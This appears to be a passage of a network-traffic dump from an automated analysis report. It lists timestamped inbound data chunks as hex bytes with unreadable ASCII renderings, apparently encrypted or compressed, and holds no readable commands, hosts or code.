Data Ascii: UK_:H\$zCr7A1p<|WyB0o3S63*25/<]&H)iD3 #^56.0SD=[MyP.Z=u?Hz_f5@9X zdCik+ZRnM1MnR![RXKE2

2021-10-12 14:35:51 UTC 139 IN Data Raw: 09 db 41 34 f3 e7 7c 52 06 f5 2f ad ab e6 61 9e b6 37 1f 1c 5b fc 8f 96 1e 37 64 01 e8 02 8c 83 e5 f3 5a 8c ac 
96 30 72 f8 ca d8 84 cc 60 3d 8e a8 1c be a6 cc 00 58 36 6b 1c e0 28 78 ca a7 48 a6 14 dc f3 0f 14 16 d8 0d fc 0e c4 07 
78 0c f6 00 1b cb 46 f7 b4 c9 c5 38 c5 cd e6 55 9b da 3a 2b 7f 7f 05 a0 40 1b 1a 1c 2c d0 5f 52 fa ef e3 14 95 00 78 d9 48 
3f 8c 7d 78 90 02 2c 5c 22 90 df 44 37 1b ae f0 a1 3e 25 29 d8 06 54 92 d5 c1 b9 1d f3 ac 55 08 de ae 5f 78 43 6b 12 09 
75 7a 7d 11 31 4e 2a a8 a1 00 47 80 d9 21 2c 00 d8 50 e5 26 f5 b2 0e 2e a1 36 03 79 2c da 5d 34 6d fc 52 30 33 a3 cc ca 
a9 d6 46 88 15 5e f1 fb e9 0b 0d 2b df a6 52 58 17 b5 34 57 00 1f 6b 80 ed 2f 54 e0 3f f0 12 1c b7 5e b6 87 59 cb fd 0b ae 
e0 15 f1 48 fe 66 85 26 ee 05 e1 30 a1 44 2b a2 
Data Ascii: A4|R/a7[7dZ0r`=X6k(xHxF8U:+@,_RxH?}x,\"D7>%)TU_xCkuz}1N*G!,P&.6y,]4mR03F^+RX4Wk/T?^YHf&0D+

2021-10-12 14:35:51 UTC 140 IN Data Raw: ff c6 44 16 37 7d d3 27 9e 7e 21 06 cd 0d 3d cb ba 38 39 d0 7a fa b1 1b ac 6d 25 99 60 2d 90 53 fe f6 c9 0c a5 
97 69 6d c2 f6 49 de 1a 5f d3 c9 33 d3 38 d6 76 73 e4 14 c5 09 02 51 b6 80 80 37 74 cd f8 ba bf bc de 2e ce f3 54 b2 4d 
39 01 85 b6 8b 05 18 e9 3e 80 11 02 2e 1f 58 d4 d2 ea c7 f9 05 92 69 29 64 cd 8b e4 b2 4a 1d 27 00 d6 bc 8e d8 75 8c e6 
83 0c 80 0a 33 8e 24 4e 2b fd 95 30 95 4e 3d 8c a7 84 36 a9 8d d5 02 de 9d de 71 db 2e 9c d1 c5 52 e1 45 39 93 52 69 
95 68 ec 2b 96 2d f9 9b 4a 14 b6 3f f6 e4 9b d8 01 bc 66 e0 fa ed 19 a5 dd 85 df 45 d8 ce a0 c1 33 3f 86 74 dc 2e c2 ad 15
f4 5b ba 58 bc de 45 49 c5 ba 9e 44 98 17 24 ed e9 c0 92 77 5b 85 c4 70 2b df 40 3e 6b 83 ac 28 29 4e 5a f8 d5 29 70 4f 
32 af 71 26 a3 7a a7 23 e1 77 26 9d 6a 30 40 b0 1c 71 
Data Ascii: D7}'~!=89zm%`-SimI_38vsQ7t.TM9>.Xi)dJ'u3$N+0N=6q.RE9Rih+-J?fE3?t.[XEID$w[p+@>k()NZ)pO2q&
z#w&j0@q

2021-10-12 14:35:51 UTC 141 IN Data Raw: 57 9b 93 67 e4 09 dd 77 9a a0 7c 7d 54 28 57 55 36 aa e6 ff 9b 2d 24 39 3c c5 db a2 87 18 cf ce 00 e8 1d a7 
fe d1 f1 5a 97 ae 39 4c eb ff e0 5e da 50 63 3d 8a 12 8e 92 b7 ea ba 78 19 7a 3a e0 7c 65 ca a7 73 d2 20 de f3 1e 16 bd 
a4 94 fb 24 42 59 e7 0f f6 04 a1 56 6a e5 92 73 e6 17 d4 eb e6 05 86 da 3a 14 2e 4e 28 a2 5c 35 1d 98 52 4f 74 d0 80 56 
e5 16 91 20 5b fd 65 2d 30 78 52 83 24 0c c5 d7 8c df 64 4b 14 86 dd be 16 0e 01 5a 7e e7 11 ab 5c 98 15 f5 8c ef 93 fb 
83 d4 7b 4e 72 36 29 cf 5b 77 0c 11 24 2d 80 8c 1e 6f ab f1 a7 54 b3 5b 2e 78 07 fc b4 2e 95 3a 13 2e f1 2f d7 45 10 4d 
47 73 22 2e 83 bc cc a2 fe 76 a2 38 5a db 7b bd 14 72 b2 da 86 5c 7a ab b4 ae 72 b7 28 60 b2 c1 0d e8 e1 1f ed 2f 6b ae 
41 ba b0 6c e1 d0 0f 84 60 41 ea 37 67 63 a5 29 cc b8 e0 
Data Ascii: Wgw|}T(WU6-$9<Z9L^Pc=xz:|es $BYVjs:.N(\5ROtV [e-0xR$dKZ~\{Nr6)[w$-oT[.x.:./EMGs".v8Z{r\zr(`/kAl`A7gc)

2021-10-12 14:35:51 UTC 143 IN Data Raw: 95 02 1a 3a 07 27 ce 6c 3b 2a 25 fd 20 1e 00 be 2d 4b 77 84 17 bb 3c 19 61 5d d7 a0 a7 a9 9d 36 bf 40 26 b2 
48 fe d6 e1 04 88 95 76 33 c0 5d 35 47 1d 75 55 97 74 d3 38 d2 cc 7a cb 06 e3 b3 f9 7d a7 a6 80 39 6d cd f8 85 3c b4 f3 
2c d5 dd 53 36 33 a6 2a 03 cc 32 db 19 ed 1e 37 36 2f 3c a3 5d 26 c1 cc e7 f4 2a 89 69 09 f6 fd a3 c9 af 47 33 20 84 a8 
23 a5 5e 0f 35 07 82 08 a0 be 14 a3 36 f2 2e 30 86 16 b5 40 02 97 a7 a4 b3 aa a5 f8 1f d3 b3 d9 f1 a5 b1 b7 57 bf eb 01 
44 3d b3 e7 4e b8 79 50 2e 5a 3e df bb 45 76 ad 3f d6 5a 93 f5 03 a3 6d e2 55 91 80 a2 f7 07 81 3e d8 ce a4 7b 26 10 97 
52 66 e9 ee bf 33 f4 08 a3 58 bc e3 d9 44 c7 ba 87 63 36 44 bf ec ef ee 34 ea c3 84 c4 ee 2e c3 50 18 4b fa 88 05 3b 48 
10 d2 d7 29 6f 7a db a2 73 26 ba 5b 09 70 7a 76 20 b3 c8 
Data Ascii: :'l;*% -Kw<a]6@&Hv3]5GuUt8z}9m<,S63*276/<]&*iG3 #^56.0@WD=NyP.Z>Ev?ZmU>{&Rf3XDc6D4.PK;H)
ozs&[pzv 

2021-10-12 14:35:51 UTC 144 IN Data Raw: 23 14 d8 b2 7e 71 a7 ea 48 e6 09 fb ac 3e de e5 63 5f 04 5a 53 34 ac cc e3 c0 99 37 1f 18 e1 8b a0 87 38 8d f7 
2d fa 24 8c 84 fe f3 5a b1 78 99 32 72 e1 fa 72 d7 57 61 3b a0 0e d5 26 a7 cc 9e 5d 48 78 3a c0 05 5c e7 b5 4e da 5e de 
f3 18 1c 2d f9 0d fa 3b 5e 51 cc 0f f6 02 11 f5 39 6e b5 53 e4 35 80 e9 c6 ed 00 ff 17 19 04 46 51 a2 5c 33 17 30 0f d6 75 
cf 90 5e cf 16 91 26 eb 5a 36 a6 17 58 51 a1 71 0e e5 23 0a fa 49 45 24 8e a5 be 16 08 0b 9a 23 7e 10 b5 70 95 1f f7 8a 
c5 8f a0 37 c4 5d 6a 5a 62 2b cf 7b e7 34 3c 36 15 88 f7 1e 6f ad fb 6b 09 2a 5a 31 64 0f d8 b4 2e 93 8a b0 7d 7a 08 f7 48 
32 1a 45 53 30 a9 a6 91 c1 8f f6 0c a2 38 5c d1 9f e0 8d 73 ad ce 8e 7b 7a ab b2 1e d1 e4 a3 47 92 cf 2f b0 e3 3f f0 a8 4e 
83 4c 90 b8 19 e1 d0 09 8e 94 1c 73 36 78 7f 
Data Ascii: #~qH>c_ZS478-$Zx2rrWa;&]Hx:\N^-;^Q9nS5FQ\30u^&Z6XQq#IE$#~p7]jZb+{4<6ok*Z1d.}zH2ES08\s{zG/?
NLs6x

2021-10-12 14:35:51 UTC 145 IN Data Raw: 0d 38 82 c2 8f bb 20 62 38 27 ff 4b 49 16 27 5b f5 75 1e 00 b8 27 f9 2c 1d 16 a4 19 11 67 5d d7 a6 17 0a ce bd 
98 60 09 90 31 fc f6 d1 be ad b8 7b 4d c8 09 35 47 1b 7f 82 cc ed d2 27 df c4 7b cb 06 e5 03 5a 2e 2f 81 a0 11 4f b7 fa a5 
b4 0e d6 01 dc d3 5e 4e 31 a0 00 a5 ec 8e da 19 f6 1f 32 19 2d 3c 3f 52 8d ad 73 c6 d9 2c a9 12 2b 7b dd 39 ec 9d 58 3d 
2d fd aa 25 8f f8 0e 89 06 82 13 a8 b8 3b a1 36 6e 21 9f ea a9 94 6e 04 b7 db 86 29 8a 3f dd 2d cf bd d4 8f a7 b7 9d f1 66 
57 00 44 2e bb e5 4e b8 7f e0 89 09 b5 f8 9b 6e 54 d0 3d f6 fd 29 d0 2e ad 46 ea 05 91 80 a4 fd 29 da a7 d9 d9 88 76 14 
12 91 78 7a b2 5a ac 15 d0 18 df 5a bc c3 f7 41 ea a8 be 4e 60 6b bd ec c9 6d 97 94 5a 9a cb c2 23 f0 52 1e 61 e6 d3 b1 
28 6e 34 c3 aa 2b 6f 5a 80 a7 5e 34 83 70 5e 5f 
Data Ascii: 8 b8'KI'[u',g]`1{M5G'{Z./O^N12-<?Rs,+{9X=-%;6n!n)?-fWD.NnT=).F)vxzZZAN`kmZ#Ra(n4+oZ^4p^_

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 146 IN Data Raw: 4f 36 61 2b 49 af 0f e2 78 f7 0f 4b 07 2f 9c 0c c2 e9 a1 23 de be 8b c9 5e a2 82 a2 6e 5d d9 88 ed 0b 5b c6 3e 
e4 a5 2b f4 73 2e d7 cd db 3c 04 c7 67 38 bc ae 9b c9 76 f6 3a c5 ee 90 55 f3 a6 1b 55 3f 71 87 85 a0 04 67 f5 3d 91 b6 
a0 95 c8 a8 90 f6 ae b1 87 1d cb 57 9a 7f c1 46 a3 e4 fd f6 56 da 90 c4 9c 90 b2 c2 89 e5 83 24 3b 86 1f 64 5e 99 73 6a 
38 2f be f1 a3 5c 9d a1 8f 1c f7 27 f6 6a a6 62 9d 3c 8b 40 31 41 f1 26 01 1a 3e 07 6d d3 6c 3b af 58 f8 1c 3a 20 2a 05 cd 
09 3d a5 9d 38 39 52 77 fa a2 3d 8a 9a a6 e7 f9 0c b0 4c de 65 d3 24 88 0f 4c 46 f9 56 17 d4 19 5f d7 c9 58 f4 38 d6 fb 7e 
e4 04 e3 2f f6 d2 c8 19 a1 15 6b ed 6c a7 b4 94 69 09 e3 e4 58 14 a7 a2 00 85 92 1d fc 19 e9 26 32 19 2d 3c 3f 52 89 ad 
73 c6 d9 2c a9 fc 2b 7b dd 39 ec 9d 5b 3d 2d 13 
Data Ascii: O6a+IxK/#^n][>+s.<g8v:UU?qg=WFV$;d^sj8/\'jb<@1A&>ml;X: *=89Rw=Le$LFV_X8~/kliX&2-<?Rs,+{9[=-

2021-10-12 14:35:51 UTC 147 IN Data Raw: 53 a7 e8 1e 93 a3 39 4e 28 6c 4a 9a 8e 07 28 a5 43 1e d1 37 a8 26 43 2a 72 67 d0 7f 8a fe e8 7c 7f 12 6f dc 61 
fe 3d f8 f5 79 f7 d5 f7 d4 4c 61 71 c1 ae b5 3c fe c9 bf 64 65 c4 da 0e 7c 7b a0 7a 71 5d 1f a9 15 7f d8 86 61 57 7e 20 f9 f9 
4d c8 0c c7 7d 6c e9 71 30 65 44 63 48 81 3b 7b d3 75 3f a6 a2 52 c5 79 ef ca 3f ee 79 0a 4e 98 4f 06 ec d4 62 be 23 bc 
74 6e f1 d7 e3 0b 2f 29 2d 73 6c e5 fd 5a 4a 02 db 60 26 2a d5 21 8e fd 05 49 7a 95 9d 6a 5f 0b db 5d 3c 2d c2 7c 54 33 
7b 79 19 a8 e6 63 94 86 48 86 1d c1 dd 82 3d 3a 17 d2 9a cd 2f be f0 dc 49 58 91 84 9b cd 55 fe e0 45 f3 7d 4c 3f 8a 8e 
81 39 d8 55 9b 7d 1f 5a 81 c2 9f 79 50 82 45 e8 2b fc 48 1a 3c 3b fa 05 d2 24 46 66 ee 25 db 06 3b 75 6d 71 ca ca e1 15 
d0 cb 7a ef 9a da a0 2e 0f 74 23 80 e0 31 37 1e 
Data Ascii: S9N(lJ(C7&C*rg|oa=yLaq<de|{zq]aW~ M}lq0eDcH;{u?Ry?yNOb#tn/)-slZJ`&*!Izj_]<-|T3{ycH=:/IXUE}L?9U}ZyP
E+H<;$Ff%;umqz.t#17

2021-10-12 14:35:51 UTC 148 IN Data Raw: 7f 99 7f ac 23 62 32 4b ab 1d b0 70 7b 7d d7 d7 69 89 2d 06 29 75 de aa 11 24 9c 05 cb 7e bd 89 38 48 42 fd 
bf d5 21 76 c2 14 64 f1 30 8b ea 2b f7 14 f9 b3 06 5d 42 8f 8b a5 aa 32 54 79 38 e5 ad 9b fa d5 b9 12 6a 3a 5e 85 83 8c 
a8 9b 12 a5 90 b2 84 6b 5a aa 90 6c 11 b9 b8 2a cd a9 08 7d c1 66 cf 7f db f6 49 c9 90 c4 9c 90 b2 c2 8d e5 83 24 3b 86 
1f 2a 5e 99 73 6a 38 2f bd f1 a3 12 9d a1 8f 1c 12 2a f6 6a ae 45 98 13 89 46 1d e9 09 c1 99 1b 3a 23 df 31 6e 3b 35 e7 
f0 20 0e 26 98 e7 cf 09 1d 36 dd 13 39 4a 40 db 88 10 8e b0 22 b3 e6 73 29 49 fe f2 f1 c5 8a 95 69 f1 cd 5d 25 61 3b be 
d5 e9 ed f2 4a fd ec 56 d6 22 cb 04 de 50 b0 aa 22 6b f6 cc f8 a1 94 76 f1 2c ce 6f 5b 19 22 86 20 67 b0 ab da 39 7f 15 1a 
34 37 14 14 7a 0b d5 c0 45 a7 b1 88 69 2d 5b 3e a1 c9 
Data Ascii: #b2Kp{}i-)u$~8HB!vd0+]B2Ty8j:^kZl*}fI$;*^sj8/*jEF:#1n;5 &69J@"s)Ii]%a;JV"P"kv,o[" g947zEi-[>

2021-10-12 14:35:51 UTC 150 IN Data Raw: 07 48 48 10 86 2d 3e f7 36 ba 81 8c 4a 02 ea ae 26 a2 16 0a a5 f5 1f d1 37 12 df 49 38 54 5e fb 51 88 fe ce 49 
d0 6c f6 c2 70 d2 30 4c f7 7f dd c9 ac 60 5c 47 55 57 a8 b6 3c de 8c bd 49 77 fb d2 27 7d 7b a6 70 c7 0e 86 a8 0a 6a d0 
1c 61 57 78 90 5a aa c6 ef 2c 74 5f 69 ea 51 d2 d8 61 4e 45 ae 33 53 d2 75 39 ac 61 01 5c 78 f0 c1 37 7b 79 0a 48 28 ec 
55 64 f3 42 02 01 ba 77 4e 1a 6a c6 26 23 27 20 77 6f e3 d7 fc 64 b6 da 60 3d 05 44 0e 8c fd 99 46 d5 f9 22 4b e6 0d fb 
5a 1f de e5 e6 71 01 66 77 14 ad e5 65 be 20 69 32 1c c1 c7 8a aa 3a 17 d4 2a 6a 7c 35 d7 fc f7 7a 99 87 bb 32 e8 db cd 
4b dc 75 69 3e 8a 88 8b d8 8b cc 9a 61 33 57 38 c0 99 53 4c d9 f1 fb 0d d8 d3 11 3f 3b da 97 df 09 54 5f c1 04 f5 04 3b 53 
2a da b4 53 ff 27 fc c6 c4 ed 9c f0 bc 75 bb 67 05 
Data Ascii: HH->6J&7I8T^QIlp0L`\GUW<Iw'}{pjaWxZ,t_iQaNE3Su9a\x7{yH(UdBwNj&#' wod`=DF"KZqfwe i2:*j|5z
2Kui>a3W8SL?;T_;S*S'ug

2021-10-12 14:35:51 UTC 151 IN Data Raw: 1c 14 88 3d eb ac 18 dd 48 b7 eb 8c f6 bb f6 bf e8 e7 fb 74 97 f3 1c bb 1c 90 fd 69 6b 82 5f 21 9a 45 cf 22 3d 
d7 e4 ea 78 35 71 9b dc 78 85 53 20 1c 37 4d 96 6b 7e 4b 02 fc 87 3c ef d7 82 c9 ac 1c 75 6f 88 bf dd 91 ba cf 7e 57 47 
11 d6 d6 a6 7b a3 d5 f8 9f bc bc e9 19 cd f7 c0 71 f5 c2 74 85 0d 7d 52 a8 34 e9 3c 85 b1 19 b3 cc 92 bb ac e4 b7 37 ef 6f 
1c 55 ef 53 e6 17 b9 52 a4 1f 03 f8 c6 93 f8 8d a2 9a 78 6e 1a e0 77 f2 14 8c 2d 9b 44 1d c7 9b bb 57 20 2e 00 d1 a3 05 
3a 29 77 ed 23 33 0e 98 2c ef 77 78 0f b0 35 5a 34 52 ca b0 55 ff a9 25 ef 76 3d 81 90 30 2d 0b b0 07 77 a1 be 6b f0 c4 
84 df 94 04 36 24 0f e5 49 06 99 11 c6 70 d7 0c 8b 64 0e 35 d0 b7 03 04 47 57 56 1f c3 28 00 91 db da 57 f1 7e 45 5f 10 
e8 10 d6 f0 c7 ce c9 f4 a3 f5 24 0d 42 41 af 06 f3 
Data Ascii: =Htik_!E"=x5qxS 7Mk~K<uo~WG{qt}R4<7oUSRxnw-DW .:)w#3,wx5Z4RU%v=0-wk6$Ipd5GWV(W~E_$BA

2021-10-12 14:35:51 UTC 152 IN Data Raw: f6 2f fd f9 44 9a d6 f0 aa 14 8a be 66 8d 14 02 1c d9 a1 de 7c 03 0e 99 bd 2a 50 9a 72 83 2c 7d e7 bc 37 27 b5 
3d f2 81 b5 1e bd 3f b7 92 22 b1 15 49 be 2f bb 06 8a b2 11 2f 31 08 a6 a4 2a c9 02 8d 4e 3b a6 9e 5f 1f 16 c6 37 ce 03 
d7 cf 61 0c 8a 44 0a 2b 5d 84 82 b8 32 90 56 03 0f 0e 97 2a a9 12 0f 5e 6c aa 46 6f cf 72 28 82 20 27 5e 26 da d5 17 5d 
75 1b 43 1a 2d 18 fe f2 5f 19 35 a9 75 6d 3e d6 90 15 29 12 4d 5e 4e d1 f1 fb 01 b6 fb 5b 0a 33 5b 09 be d2 82 4a 67 b4 
83 72 d7 3c eb 84 99 15 23 bf af e3 b9 b1 e7 79 76 f7 2b 93 ff ca c0 14 01 75 54 aa de 03 d0 31 dd 7c 00 2d 35 fe 79 63 5f 
d7 98 04 04 b6 15 ba 87 89 38 4c 49 48 5c 3d 6f cd e7 89 ca 3b 61 88 3c 54 d0 04 e8 51 22 aa ba bb 50 cf 5e a2 c0 f7 74 
82 77 89 bb fb e0 7b 20 dd 58 c7 5d 74 45 38 1e 5e 
Data Ascii: /Df|*Pr,}7'=?"I//1*N;_7aD+]2V*^lFor( '^&]uC-_5um>)M^N[3[Jgr<#yv+uT1|-5yc_8LIH\=o;a<TQ"P^tw{ X]tE8^

2021-10-12 14:35:51 UTC 153 IN Data Raw: b5 ca 98 47 10 31 75 a1 04 d9 24 cc 5f cb 60 21 77 3e 32 62 2a 60 6d 3c b2 18 67 90 2b de 74 51 8d 8d 2c ad 
c1 5a 89 57 aa f1 5d 2d 21 f0 fa 98 43 14 b4 00 c0 ad 9f bd 8c 4b fb e4 c1 94 63 9e 4c c2 b7 bf fc 91 2e 1a 12 ec e2 b4 fc 
c8 e8 17 41 16 51 94 d8 e5 6b b2 df a3 8b fb ea ee 18 ae aa b3 3b db f5 1b f4 6e 0a 36 b7 6b a4 73 e1 99 79 e0 96 c5 ac 
ec d0 8c 7f ee 22 1f 55 ed 43 94 7b 82 18 de 71 7c 9f ef b9 ec 0b 36 41 fa 85 da 7a a4 7c 85 7f ed 10 c3 9c 56 05 66 d9 95 
b2 ba 7d 17 98 b9 b5 b1 5f 95 ce da 5c f8 7b bc f5 f6 59 c1 9b aa b0 3a 49 c8 35 17 9d 32 c8 f6 4f e1 54 49 7d cc 5e 35 ce 
81 40 ca bb c3 9d c2 07 3a 67 50 b4 41 2c d4 40 8d 68 be 1b 89 6d 49 6e 88 f2 06 3c 74 7a 1e 43 ea 08 7d 88 d0 9d 06 a0
3e 40 05 77 b4 5d 8d b3 9f d7 9f 8c cd a7 2a 57 
Data Ascii: G1u$_`!w>2b*`m<g+tQ,ZW]-!CKcL.AQk;n6ksy"UC{q|6Az|Vf}_\{Y:I52OTI}^5@:gPA,@hmIn<tzC}>@w]*W

2021-10-12 14:35:51 UTC 155 IN Data Raw: 9f aa 7f 58 e1 35 f5 0e 0e 93 6a 10 3d 4f bf 20 28 f4 3a b6 b4 ac 60 7b 24 b8 db c1 63 63 f7 ad 54 bb 4a fa 8c 
5d 70 0c 16 84 1c d7 81 98 29 84 58 a7 d6 7e f3 28 67 f7 7a fd 41 d4 c5 7f 49 44 7c a4 aa 1b f3 1c 83 69 39 e4 e1 24 6f 56
bc 48 e4 3f a2 90 10 53 dc 11 5d 57 55 97 f3 e7 2b ef 59 74 13 02 81 3c a1 2d 2e 0a 34 f6 77 33 c4 64 40 e1 c8 c5 c1 fc 
72 57 82 c9 9d 91 d8 96 8a be 1c 62 af d4 f7 61 a5 86 d5 6d 02 dd e2 c5 c4 a3 f8 18 32 23 d9 21 17 ac ea b2 da 99 37 51 
21 dc 92 3a 0c e5 3c a1 75 ef c1 71 46 da e9 8b d1 fe 98 07 34 ca 12 da 9a c5 c5 7b 52 2f 03 b6 86 46 c4 5a 9d 35 0e 55 
6c d6 1e 0e 26 b3 e6 2f 55 df 6b c4 ce 98 36 28 04 1c 5b 34 6c fb e9 88 b8 37 76 ff 26 48 84 0e e7 46 19 83 c3 d0 49 99 
1a de a7 9c fd 1f ec 1a 27 1a 52 e3 af 36 97 5d 9c 
Data Ascii: X5j=O (:`{$ccTJ]p)X~(gzAID|i9$oVH?S]WU+Yt<-.4w3d@rWbam2#!7Q!:<uqF4{R/FZ5Ul&/Uk6([4l7v&HFI'R6]

2021-10-12 14:35:51 UTC 156 IN Data Raw: 29 18 c2 1f b6 20 5f 59 8b fb fc e9 34 c6 11 1a b2 62 c8 73 5f 5f 47 17 4e 60 34 4c 3f c3 4e 2d a7 21 9d 04 5d 
c3 8e 6b b4 a0 3e 9d 5c eb f1 7e 68 0f f7 ca a5 0f 2b 9a 16 e4 a0 96 b6 ca 0f ff f6 98 98 2b ee 7a a7 b2 a6 b8 c6 20 4c 00 
f2 dd b0 c4 eb 94 3c 60 33 68 a1 b1 7f f6 26 47 73 0f 77 68 64 8f 6f 43 0f e3 51 7c c5 26 a7 c1 a2 0d 9f 61 95 09 2a 93 49 
27 73 00 33 52 01 f1 61 f0 db e9 70 dd 06 ae 6f 9c 06 f9 eb 51 10 6a 31 6b 59 74 9c 89 e3 08 89 48 ba 56 e9 48 80 d9 04 
15 20 88 a7 b4 a6 6d 43 ee ad 8f f7 4f 86 96 8e 2f 89 51 88 8b db 62 e0 e5 97 f6 7c 08 96 2a 0b 85 21 df ac 00 e5 4b 40 
49 93 28 3d c4 d6 43 cf 8c ff b4 e8 77 4a 5d 67 8c 6d 4c 12 96 72 ba 66 80 0f ec cd f1 51 3d 9f b0 f3 f4 dc ab 6f df e5 6b 21
22 ba 1d 9f aa e0 c5 03 f6 1d 52 50 47 45 
Data Ascii: ) _Y4bs__GN`4L?N-!]k>\~h++z L<`3h&GswhdoCQ|&a*I's3RapoQj1kYtHVH mCO/Qb|*!K@I(=CwJ]gmLrfQ
=ok!"RPGE

2021-10-12 14:35:51 UTC 157 IN Data Raw: b8 98 79 20 c3 99 ea 18 3f ab 76 aa 51 70 f8 30 70 4e 11 b9 30 29 e3 41 d9 d0 ce 63 1e 7c d0 a7 a5 0a 30 ab 
cd 09 ce 0d ad d4 4d 49 71 50 d0 7b a9 d8 c0 51 f9 66 c5 e3 4f d3 09 49 f7 74 e2 74 ef c9 99 98 d9 ec 2c 2a cc 35 d5 4d 
ab b6 12 21 e2 a8 9d 4c 9d 27 fe 52 34 eb a6 25 ef b7 82 bd 52 43 70 ac 0b c9 c2 a0 81 17 a0 26 ad b7 81 ee 30 b9 9c 2b 
9e d3 65 d0 c2 a5 d4 40 10 ef ad 89 a0 e7 c7 cf a2 79 79 93 b9 a1 3f e5 da bd 42 54 8e a4 8b 9f e8 e1 7c 74 69 b9 1a 5e 
f9 a7 9f f3 8b 2c 64 0b e2 ca 19 28 d5 42 bf 7d ee 81 6f 51 e7 f7 82 dc a7 84 1a 50 f1 2c 81 b1 9a 84 53 5e 21 16 45 6f a5 
6f 92 7d d0 ac 9a ed 31 d5 db d1 79 33 a1 92 34 93 0a 3a 65 de d4 ff cc e5 9f cc 3d 4b 34 54 ab e4 0e b5 df 0a 8a 52 bf 
94 6a 4b 63 99 63 91 50 36 14 8a 3f 9f 6e 5c 58 05 84 
Data Ascii: y ?vQp0pN0)Ac|0MIqP{QfOItt,*5M!L'R4%RCp&0+e@yy?BT|ti^,d(B}oQP,S^!Eoo}1y34:e=K4TRjKccP6?n\X

Timestamp
kBytes
transferred Direction Data
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2021-10-12 14:35:51 UTC 159 IN Data Raw: 1c f9 e4 b8 b3 71 55 9c 4e ef 4a 20 21 e0 bc 88 be 61 80 57 41 a0 74 9a 24 42 1c 55 13 55 0f 72 61 4b dd 35 
5a b1 17 9b 2a 68 10 4e fc 26 75 d2 02 90 75 75 f9 8b 97 1b 7b 16 dc 94 23 c4 09 62 47 72 16 c8 38 2d 1e 41 e0 2e be 46 
77 7e 73 01 a8 91 e6 07 0b 43 13 34 4d e6 84 ca ab 64 76 58 db 14 45 61 33 09 03 64 a3 47 17 7c b5 11 14 82 75 f2 b4 
cd 55 c8 17 d2 58 76 f0 65 2d 71 09 03 14 49 af 01 98 a0 b8 14 a7 53 e2 3d c9 5c 8f 9d 11 75 26 7c 3e 0d 69 bd e8 a8 49 
c2 35 d5 01 99 3a fa a0 7c 03 03 b7 a4 82 ae 89 ac 2d 60 6f 27 98 4c 6d 57 f7 54 8e 72 69 41 ee 64 73 12 0c c8 da 69 d2 
e6 67 88 7e 42 bc 4b dd a1 9f 42 fe f7 04 0f 86 2f 5a 27 74 34 8f b0 b6 aa 43 a0 87 27 a1 68 ad 7b af 22 cf e2 da 74 2b d4 
f5 af ea a7 de 22 cf f9 6b 3b 21 e9 17 94 af 82 c7 01 f3 
Data Ascii: qUNJ !aWAt$BUUraK5Z*hN&uuu{#bGr8-A.Fw~sC4MdvXEa3dG|uUXve-qIS=\u&|>iI5:|-`o'LmWTriAdsig~B
KB/Z't4C'h{"t+"k;!

2021-10-12 14:35:51 UTC 160 IN Data Raw: 1c 16 5a 95 46 eb c2 46 10 f4 b8 ca 27 35 9c 56 8e 4c 9c 02 cc 8e b3 c6 73 ae f6 39 d1 58 0b 01 ca f8 a5 0e 75
74 c9 dc 5c 69 94 40 af 17 66 ec b7 e5 da 59 f8 71 11 12 a9 07 81 07 39 c2 46 b8 e2 5c c9 53 fe 69 37 b0 b2 ba 84 4b 40 
8d 01 ef 78 94 fd 58 7f be b0 d5 29 de 70 b3 15 75 92 ee 6e b5 e0 92 ba 27 4b 48 d7 2d e2 f0 fb ef 76 c8 41 89 b2 87 ec 
35 af f0 73 df c5 73 84 8c ee de 15 37 ea e9 c2 a7 f1 e3 e5 97 49 40 e0 be d7 29 d2 f4 47 a8 ae 50 3f 03 4f 33 20 b6 92 8f 
66 9c 86 28 74 00 74 37 c3 e2 8e 3e 45 96 d7 1d b9 46 8a 0c 49 be 88 0c 39 4b 1a 35 58 87 9e 09 d4 25 12 5b 37 ea 83 
8a a8 64 3a fd 56 ca 21 f8 f1 df a1 7e ce ae 91 18 58 d4 ca 1f dd 58 65 2f bb 86 bb b2 f5 fe 8c 60 00 7d 09 db b8 44 f3 87 
4b c8 0d c8 db 3f 11 21 fb 24 c2 1e 65 48 c4 10 f4 
Data Ascii: ZFF'5VLs9Xut\i@fYq9F\Si7K@xX)pun'KH-vA5ss7I@)GP?O3 f(tt7>EFI9K5X%[7d:V!~XXe/`}DK?!$eH

2021-10-12 14:35:51 UTC 161 IN Data Raw: 48 af 7a 0e 75 f6 34 22 7f 5a 89 bf 71 b2 1f a7 e5 f2 08 79 40 5e 99 72 a4 b1 28 ee 6f 90 df 8e 88 8d 83 c8 c7 
cc d2 44 e9 8b 2a 9b 3c ad a0 30 3d 9d 08 69 a2 6f ad 02 03 9a 91 83 05 29 7f a2 d7 4e b1 75 1c 72 25 63 b8 46 52 6e 28 
9a 4a d7 38 33 18 17 2c 95 d0 8d 50 68 1f 73 72 0e a7 e9 88 f4 35 2f 07 83 6d 39 0d 37 09 0d 59 e5 4c 2b 18 dc 75 1a f1 
0d 99 ee cd 39 58 98 1a 97 f5 41 88 a1 af 90 87 ac f8 48 8f 0d 2c 62 8d 34 fe 52 dd 7c f2 1e 02 a8 d0 81 cf 9b e9 e1 46 27 
6a 95 03 c8 68 f7 7c ba 70 2c f7 ba 95 2b 30 03 08 ce f5 44 09 0e 25 a5 68 63 38 8d 1b c3 13 07 11 bb 3a 74 1a 10 97 af 
3a 9f bd 37 86 3b 17 b0 42 e4 a7 c3 24 9f 80 6a 34 ca 6a 29 63 3f 60 be c3 c3 ea 14 f6 ce 65 ed 60 c2 02 eb 67 8c ac aa 
0e 61 c4 e0 b9 a4 81 82 01 e2 91 11 c6 aa 75 a0 62 
Data Ascii: Hzu4"Zqy@^r(oD*<0=io)Nur%cFRn(J83,Phsr5/m97YL+u9XAH,b4R|F'jh|p,+0D%hc8:t:7;B$j4j)c?`e`gaub

2021-10-12 14:35:51 UTC 162 IN Data Raw: 04 02 cb 09 b5 f0 56 3d 07 88 c9 88 3b 3f 01 f4 72 6e 23 91 64 c7 06 c1 b1 d6 e2 16 65 03 86 af a2 da e4 02 
bd b5 d0 c3 f2 f7 66 73 cb b8 5e 05 f4 fb db 85 f7 a8 ff 36 2c da 7c 48 d1 ff 03 f2 08 ef d1 bc a4 ba df c2 6e 57 2e 61 2d ad 
4e c2 8d 0d 06 3c 5e 8e 4d 2c 5c b7 bc 0d 3d b4 d5 5b 9b ca 19 44 ae 6d 63 aa 71 a4 e2 6e cf 21 00 d1 5e 4e 98 32 63 
